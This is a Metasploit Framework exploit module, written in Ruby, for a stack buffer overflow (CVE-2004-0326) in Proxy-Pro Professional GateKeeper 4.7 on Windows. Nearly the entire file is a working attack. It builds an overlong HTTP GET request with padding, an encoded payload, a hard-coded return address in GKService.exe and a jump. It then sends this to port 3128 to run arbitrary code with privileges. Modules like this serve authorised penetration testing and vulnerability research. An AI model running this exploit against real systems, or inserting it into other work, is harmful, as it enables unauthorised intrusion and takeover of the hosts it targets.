##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
      'Description'    => %q{
            This module exploits a stack overflow in Proxy-Pro Professional
            GateKeeper 4.7. By sending a long HTTP GET to the default port
        of 3128, a remote attacker could overflow a buffer and execute
        arbitrary code.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     => 
        [ 
          ['CVE', '2004-0326'], 
          ['OSVDB', '4027'],
          ['BID', '9716'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00+&=%\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      
      'Targets'        =>
        [
          [ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
        ],

      'Privileged'     => true,

      'DisclosureDate' => 'Feb 23 2004',

      'DefaultTarget' => 0))

      register_options(
        [
          Opt::RPORT(3128)
        ], self.class)
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit  = "GET /" + rand_text_english(3603, payload_badchars)  
    sploit += payload.encoded + [target.ret].pack('V') + make_nops(10) 
    sploit += "\xe9" + [-497].pack('V') +  " HTTP/1.0" + "\r\n\r\n" 

    sock.put(sploit)
    sock.get_once(-1, 3)
    
    handler
    disconnect
  end

end